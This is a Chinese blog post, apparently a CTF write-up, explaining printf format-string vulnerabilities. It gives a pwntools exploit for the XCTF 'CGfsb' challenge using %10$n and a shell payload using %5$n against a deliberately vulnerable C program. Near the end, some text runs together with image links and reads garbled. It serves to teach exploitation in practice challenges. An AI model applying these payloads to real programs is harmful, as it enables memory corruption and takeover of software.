Pwn

Pwn(格式化字符串漏洞)

Posted on 2020-01-04,5 min read

格式化字符串漏洞往往是由程序员错误使用格式化输出函数造成的。例如
print(s)

正常执行:
printf("%s%s",str1,str2)

ebp,addr都是调用函数时的操作。然后传入参数,首先是格式化字符串。然后是参数
当格式化指针看到%时,就会找下面对应的值
第一个%s,就会将A打印出来。
第二个%s,就会将B打印出来。
非正常执行:
printf(s)

也就是说。前面格式化字符串没了。只剩下了参数
但是把参数当成格式化字符串识别了
第一个%x会将后面的地址输出。第二个%x会将后面地址接着输出

第一题:攻防世界CGfsb
首先ida反编译一下

程序的整个运行流程是
read读取10个字节为buf
fgets读取100个字节为s
打印buf,打印s
比较pwnme==8
漏洞原理则是打印s的时候,语句为printf(&s),因为printf不能指定有多少个参数
利用%10$n去修改pwnme的值

pwnme的地址为0804A068
输入aaaa%x,回显结果为aaaa|地址|地址|地址...
可以看到,我们输入的aaaa,会在偏移10的地方出现
偏移10处,就写入我们的pwnme地址
前面写入%10n 前面只要8个字符,来配合n前面只要8个字符,来配合n
输入aaaa来保证第十处的地址是连在一起的,而不是分开在两个内存单元中

exp:

from pwn import *
p = remote('111.198.29.45', 31559)
pwnme = 0x0804A068
payload2 = p32(pwnme) + 'aaaa%10$n'
#先进后出原则,pwnme地址写前面进去栈
p.recvuntil('please tell me your name:\n')
p.sendline('aaaa')
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print(p.recv())
print(p.recv()) 

第二题:
源码如下

#include <stdio.h>
int main(void){
	int flag=0;
	int *p=&flag;
	char a[100];
	scanf("%s",a);
	printf(a);
	if (flag==2000){
		printf("good!!\n");
	}
	return 0;
}

gcc -g -fno-stack-protector -z execstack -o vuln vulnc.c
gdb看下汇编代码,给a了116个字节大小,然后调用print函数输出

动态调试下
发现。输入的AAAA会在第5个地方保存

堆栈的分布如下

当我们输入AAAA|%x|%x|%1x![](https://guokeya.github.io/postimages/1578015895756.png)![](https://guokeya.github.io/postimages/1578031833993.png)AAAAx时,程序输出如下 ![](https://guokeya.github.io/post-images/1578015895756.png) 在堆栈内的分布: ![](https://guokeya.github.io/post-images/1578031833993.png) 因为AAAA代表是的%0 %x代表的是下一个地址的16进制 %x代表的是下下个地址的16进制 %1x,代表的是第二个参数的值=第一个%x的值以16进制打印
所以当我们输入AAAA|%x|%x|%1xx时。%1x会等于第二个参数的值
懂了原理。我们就可以把%1xx换成%5n
为什么是%5呢。因为%5我们可控。

可以看到。我们输入的AAAA。会在%5printfflag=2000flag2000的地址出现。如果是一个地址。配置printf%n参数写入即可造成任意地址读写 根据源码。我们需要满足flag=2000 那么思路就是 第一个参数。是flag的地址 第二个参数。满足长度2000 第三个参数。将前面的所有字符长度输出到%5n,也就是写入到flag的地址
payload如下:
python -c "print '\xa8\xd0\xff\xff%.1996x%5$n'">11
cat 11|./vuln2

下一篇: [极客大挑战 2019]RCE ME(无数字字母Webshell)→